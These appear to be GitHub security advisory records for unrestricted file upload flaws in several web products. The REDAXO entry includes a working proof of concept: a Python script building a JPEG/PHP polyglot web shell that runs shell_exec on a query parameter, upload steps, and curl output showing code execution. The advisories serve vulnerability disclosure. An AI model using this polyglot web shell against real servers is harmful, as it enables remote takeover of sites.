CWE-434

{
  "affected": [],
  "aliases": [
    "CVE-2024-27115"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-434"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-09-11T14:15:13Z",
    "severity": "CRITICAL"
  },
  "details": "A unauthenticated Remote Code Execution (RCE) vulnerability is found in the SO Planning online planning tool. With this vulnerability, an attacker can upload executable files that are moved to a publicly accessible folder before verifying any requirements. This leads to the possibility of execution of code on the underlying system when the file is triggered. The vulnerability has been remediated in version 1.52.02.",
  "id": "GHSA-97v4-fg36-6rc2",
  "modified": "2024-09-18T21:30:44Z",
  "published": "2024-09-11T15:31:12Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-27115"
    },
    {
      "type": "WEB",
      "url": "https://csirt.divd.nl/CVE-2024-27115"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:N/AU:Y/R:I/V:C/RE:M/U:Red",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-11391"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-434"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-10-18T07:15:35Z",
    "severity": "CRITICAL"
  },
  "details": "The PPOM \u2013 Product Addons \u0026 Custom Fields for WooCommerce plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the image cropper functionality in all versions up to, and including, 33.0.15. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site\u0027s server which may make remote code execution possible. While the vulnerable code is in the free version, this only affected users with the paid version of the software installed and activated.",
  "id": "GHSA-97w4-w729-36hm",
  "modified": "2025-10-18T09:30:50Z",
  "published": "2025-10-18T09:30:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-11391"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/woocommerce-product-addon/trunk/inc/hooks.php#L45"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3379431%40woocommerce-product-addon\u0026new=3379431%40woocommerce-product-addon\u0026sfp_email=\u0026sfph_mail="
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/cf851bed-f5d8-44e2-810d-906ba3d3c1c5?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2020-23083"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-434"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-05-03T22:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "Unrestricted File Upload in JEECG v4.0 and earlier allows remote attackers to execute arbitrary code or gain privileges by uploading a crafted file to the component \"jeecgFormDemoController.do?commonUpload\".",
  "id": "GHSA-97x4-c736-8m6j",
  "modified": "2022-05-24T17:49:26Z",
  "published": "2022-05-24T17:49:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-23083"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zhangdaiscott/jeecg/issues/56"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [],
  "aliases": [
    "CVE-2017-17976"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-434"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-01-26T20:29:00Z",
    "severity": "CRITICAL"
  },
  "details": "In Utilities.php in Perfex CRM 1.9.7, Unrestricted file upload can lead to remote code execution.",
  "id": "GHSA-985g-2mqg-j324",
  "modified": "2022-05-14T03:45:41Z",
  "published": "2022-05-14T03:45:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-17976"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/43590"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/145903/PerfexCRM-1.9.7-Arbitrary-File-Upload.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-57658"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-434"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-26T15:16:53Z",
    "severity": "CRITICAL"
  },
  "details": "Administrator Arbitrary File Upload in TemplateSpare \u003c= 4.2.0 versions.",
  "id": "GHSA-98gc-mw7m-prrh",
  "modified": "2026-06-26T15:32:18Z",
  "published": "2026-06-26T15:32:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-57658"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/templatespare/vulnerability/wordpress-templatespare-plugin-4-2-0-arbitrary-file-upload-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "django-widgy"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.9.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-18704"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-434"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-08-26T19:20:22Z",
    "nvd_published_at": "2021-08-16T18:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "Unrestricted Upload of File with Dangerous Type in Django-Widgy v0.8.4 allows remote attackers to execute arbitrary code via the \u0027image\u0027 widget in the component \u0027Change Widgy Page\u0027.",
  "id": "GHSA-98hv-qff3-8793",
  "modified": "2024-09-16T22:06:25Z",
  "published": "2021-08-30T16:24:08Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-18704"
    },
    {
      "type": "WEB",
      "url": "https://github.com/fusionbox/django-widgy/issues/387"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-98hv-qff3-8793"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/fusionbox/django-widgy"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/django-widgy/PYSEC-2021-336.yaml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Unrestricted Upload of File with Dangerous Type in django-widgy"
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-6132"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-434"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-06-19T06:15:12Z",
    "severity": "HIGH"
  },
  "details": "The Pexels: Free Stock Photos plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the \u0027pexels_fsp_images_options_validate\u0027 function in all versions up to, and including, 1.2.2. This makes it possible for authenticated attackers, with contributor-level and above permissions, to upload arbitrary files on the affected site\u0027s server which may make remote code execution possible.",
  "id": "GHSA-98j7-qj5p-vpgv",
  "modified": "2024-06-19T06:30:35Z",
  "published": "2024-06-19T06:30:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-6132"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/wp-pexels-free-stock-photos/trunk/settings.php#L239"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/79dd492e-d4da-4209-83a8-d8059263ae92?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2021-28294"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-434"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-03-16T20:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "Online Ordering System 1.0 is vulnerable to arbitrary file upload through /onlineordering/GPST/store/initiateorder.php, which may lead to remote code execution (RCE).",
  "id": "GHSA-98m6-692f-9693",
  "modified": "2022-05-24T22:01:29Z",
  "published": "2022-05-24T22:01:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-28294"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/49615"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "redaxo/source"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.18.2"
            },
            {
              "fixed": "5.21.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-53599"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-434"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-31T19:43:51Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n \n`rex_mediapool::isAllowedExtension` in `redaxo/src/addons/mediapool/lib/mediapool.php` accepts filenames that contain a blocked extension as a non-terminal segment of a longer extension chain, for example `shell.php.any.jpg`. The check only catches the blocked extension when it appears at the end of the filename or immediately before the final extension. An authenticated backend user with mediapool upload permission can upload a JPEG/PHP polyglot named `shell.php.any.jpg` and, on web servers whose PHP handler matches `.php` as any segment (mod_mime `AddHandler`-style, or any `FilesMatch` regex without an end anchor), request the file from the public `media/` directory to execute arbitrary PHP as the web-server user.\n \nThe vulnerable check is a **regression** introduced in commit [`9d008697d`](https://github.com/redaxo/core/commit/9d008697dcec6bf5a972bdc081fadb68e9dab7fa) (PR #6213, Feb 7 2025), which weakened a previously correct `str_contains` check into a pair of `str_ends_with` checks. The earlier check, in place since 2018 specifically to defend against double-extension attacks, would have blocked this payload.\n \nThe regression has shipped in every release from 5.18.2 through 5.21.0.\n\n## Details\n## Root cause\n \nAt the audited commit `6e0de42`, `isAllowedExtension` performs three checks against the blocked-extension list:\n \n```php\n// redaxo/src/addons/mediapool/lib/mediapool.php (104\u2013130) @ 6e0de42\npublic static function isAllowedExtension(string $filename, array $args = []): bool\n{\n    $fileExt = mb_strtolower(rex_file::extension($filename));\n \n    if (\u0027\u0027 === $filename || str_contains($fileExt, \u0027 \u0027) || \u0027\u0027 === $fileExt) {\n        return false;\n    }\n \n    if (str_starts_with($fileExt, \u0027php\u0027)) {\n        return false;\n    }\n \n    $blockedExtensions = self::getBlockedExtensions();\n    foreach ($blockedExtensions as $blockedExtension) {\n        // $blockedExtensions extensions are not allowed within filenames, to prevent double extension vulnerabilities:\n        // -\u003e some webspaces execute files named file.php.txt as php\n        if (str_ends_with($filename, \u0027.\u0027 . $blockedExtension)\n            || str_ends_with($filename, \u0027.\u0027 . $blockedExtension . \u0027.\u0027 . $fileExt)\n        ) {\n            return false;\n        }\n    }\n \n    $allowedExtensions = self::getAllowedExtensions($args);\n    return !count($allowedExtensions) || in_array($fileExt, $allowedExtensions);\n}\n```\n \nFor `shell.php.any.jpg`:\n \n1. `$fileExt` is `jpg`, so `str_starts_with(\u0027jpg\u0027, \u0027php\u0027)` is false.\n2. The loop checks two suffix shapes:\n   - `str_ends_with(\u0027shell.php.any.jpg\u0027, \u0027.php\u0027)` \u2014 false.\n   - `str_ends_with(\u0027shell.php.any.jpg\u0027, \u0027.php.jpg\u0027)` \u2014 false, because the actual chain is `.php.any.jpg`.\n3. Default `$allowedExtensions` is empty (no widget `types` arg on the main mediapool upload page), so the function returns `true`.\nThe defensive comment on lines 119\u2013120 explicitly names the threat model the maintainers are guarding against \u2014 *\"some webspaces execute files named file.php.txt as php\"*. The current check covers that exact two-segment shape but fails for any chain of length three or more in which a blocked extension is not the final segment.\n \n### Regression history\n \nPrior to commit [`9d008697d`](https://github.com/redaxo/core/commit/9d008697dcec6bf5a972bdc081fadb68e9dab7fa) (PR #6213, Feb 7 2025) the check was:\n \n```php\nif (str_contains($filename, \u0027.\u0027 . $blockedExtension)) {\n    return false;\n}\n```\n \n`str_contains(\u0027shell.php.any.jpg\u0027, \u0027.php\u0027)` is true, so the prior check would have correctly rejected this payload. The substring form had a false-positive problem with names like `foo.json` (which contains the substring `.js`), and the rewrite removed the false positive but also removed the multi-extension protection. The three regression tests added in that commit (`foo.js.txt`, `js_datei.txt`, `foo.json`) do not include a length-three-or-greater chain with a blocked non-terminal segment, so the security regression was not caught by the test suite.\n \nThe same weak check is invoked a second time from `rex_mediapool::filename()` during the normalization step, so the bypass also passes the renaming guard. `rex_string::normalize($mediaName, \u0027_\u0027, \u0027.-@\u0027)` preserves `.`, `-`, `@` and lowercases the rest, so `shell.php.any.jpg` survives normalization unchanged.\n\n## PoC\nReproduced end-to-end on Apache 2.4.58 + PHP 8.3.6 on Ubuntu 24.04, using the exact validator code from commit `6e0de42` and a JPEG/PHP polyglot served from the same docroot under two different Apache PHP-handler configurations.\n \n### Payload\n \nMinimal JPEG/PHP polyglot, 188 bytes, MIME-classified as `image/jpeg`:\n \n```python\n# build_polyglot.py\njpeg_header = bytes([0xff,0xd8,0xff,0xe0,0x00,0x10]) + b\u0027JFIF\u0027 + bytes([0x00,0x01,0x01,0x01,0x00,0x48,0x00,0x48,0x00,0x00])\nphp_payload = b\u0027\u003c?php echo \"=== PWNED ===\\n\"; echo \"file: \" . __FILE__ . \"\\n\"; echo \"cmd output:\\n\"; $cmd = isset($_GET[chr(120)]) ? $_GET[chr(120)] : \"id\"; echo shell_exec($cmd); ?\u003e\u0027\njpeg_tail = bytes([0xff,0xd9])\nopen(\u0027shell.php.any.jpg\u0027,\u0027wb\u0027).write(jpeg_header + php_payload + jpeg_tail)\n```\n\n```\n$ file --mime-type shell.php.any.jpg\nshell.php.any.jpg: image/jpeg\n```\n \n### Validator output\n\nExpected vulnerable deployment flow:\n\n1. Log in as a backend user with media upload permission.\n2. Upload the payload as `shell.php.any.jpg`.\n3. REDAXO accepts the final `jpg` extension and `image/jpeg` MIME type, and stores `media/shell.php.any.jpg`.\n4. Request `https://victim.example/media/shell.php.any.jpg?x=id`.\n5. On Apache/mod_php-style multi-extension handler mappings, PHP code in the uploaded file executes. \n\nRunning the exact `isAllowedExtension` logic from commit `6e0de42` against the default `blocked_extensions` list from `redaxo/src/addons/mediapool/package.yml`:\n \n```\nisAllowedExtension(\"shell.php.any.jpg\") = TRUE \u2014 UPLOAD ACCEPTED\n```\n \n### HTTP execution test\n \nThe same file was placed in two Apache vhosts.\n \n**Vhost A \u2014 current Ubuntu/Debian default `libapache2-mod-php8.3` config** (`\u003cFilesMatch \".+\\.ph(?:ar|p|tml)$\"\u003e`, `$` anchor):\n \n```\n$ curl -sS -D - -o body \"http://127.0.0.1:8081/shell.php.any.jpg?x=id\"\nHTTP/1.1 200 OK\nContent-Type: image/jpeg\n$ file body\nbody: JPEG image data, JFIF standard 1.01\n```\n \nFile served as a static JPEG. **Not exploitable** on this configuration.\n \n**Vhost B \u2014 non-anchored handler match** (`\u003cFilesMatch \"\\.ph(?:ar|p|tml)(\\.|$)\"\u003e`, equivalent to `AddHandler application/x-httpd-php .php` behavior under mod_mime):\n \n```\n$ curl -sS \"http://127.0.0.1:8082/shell.php.any.jpg?x=id\"\n=== PWNED ===\nfile: /home/riodrwn/sandbox/docroot/shell.php.any.jpg\ncmd output:\nuid=33(www-data) gid=33(www-data) groups=33(www-data)\n```\n \nPHP executes as `www-data`. **RCE confirmed.**\n\n### Impact\nA backend user holding only the `media[upload]` permission \u2014 the permission that the standard editor role carries \u2014 gains arbitrary PHP code execution as the web-server user on every REDAXO deployment whose Apache configuration maps PHP via a multi-extension handler.",
  "id": "GHSA-98pp-vccm-qm25",
  "modified": "2026-07-31T19:43:51Z",
  "published": "2026-07-31T19:43:51Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/redaxo/core/security/advisories/GHSA-98pp-vccm-qm25"
    },
    {
      "type": "WEB",
      "url": "https://github.com/redaxo/core/pull/6538"
    },
    {
      "type": "WEB",
      "url": "https://github.com/redaxo/core/commit/462e36896bb65d292ba22d711044c23c9cfb0340"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/redaxo/core"
    },
    {
      "type": "WEB",
      "url": "https://github.com/redaxo/core/releases/tag/5.21.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Redaxo has a Mediapool isAllowedExtension bypass via multi-segment filename that leads to authenticated RCE on Apache mod_php multi-extension handlers"
}

{
  "affected": [],
  "aliases": [
    "CVE-2021-38613"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-434"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-08-24T12:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "The assets/index.php Image Upload feature of the NASCENT RemKon Device Manager 4.0.0.0 allows attackers to upload any code to the target system and achieve remote code execution.",
  "id": "GHSA-98v4-f37j-gm4q",
  "modified": "2022-05-24T19:12:05Z",
  "published": "2022-05-24T19:12:05Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-38613"
    },
    {
      "type": "WEB",
      "url": "https://www.blacklanternsecurity.com/2021-08-23-Nascent-RemKon-CVEs"
    },
    {
      "type": "WEB",
      "url": "https://www.nascent.com/single-post/2019/01/17/nascent-technology-releases-remkon-31-to-enhance-audio-experience"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}